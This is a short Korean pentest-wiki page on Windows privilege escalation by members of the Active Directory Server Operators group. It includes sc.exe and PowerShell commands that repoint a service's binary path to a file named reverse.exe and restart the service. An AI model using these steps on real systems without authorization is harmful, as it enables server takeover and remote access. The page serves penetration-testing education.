> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/active-directory/server-operators.md).

# Server Operators

Server Operators 그룹은 Active Directory 환경에서만 존재하는 그룹이며, Windows 서버에 관련된 자원에 대한 접근 권한이 있습니다. 기본적으로 Administrator라고 할지라도 이 그룹의 구성원에 속하지 않고 별도로 멤버를 추가해야 하며 삭제는 불가능한 그룹입니다. 

이 그룹의 구성원 권한으로 할 수 있는 권한 상승 방법 중에는 서비스 바이너리 경로 변경이 있습니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># 서비스 바이너리 원본 확인 후 변경
</strong>sc.exe qc TestService
sc.exe config TestService binPath="C:\Windows\Temp\reverse.exe"
Restart-Service TestService
</code></pre>

## References

{% embed url="<https://learn.microsoft.com/ko-kr/windows-server/identity/ad-ds/manage/understand-security-groups>" %}

{% embed url="<https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/>" %}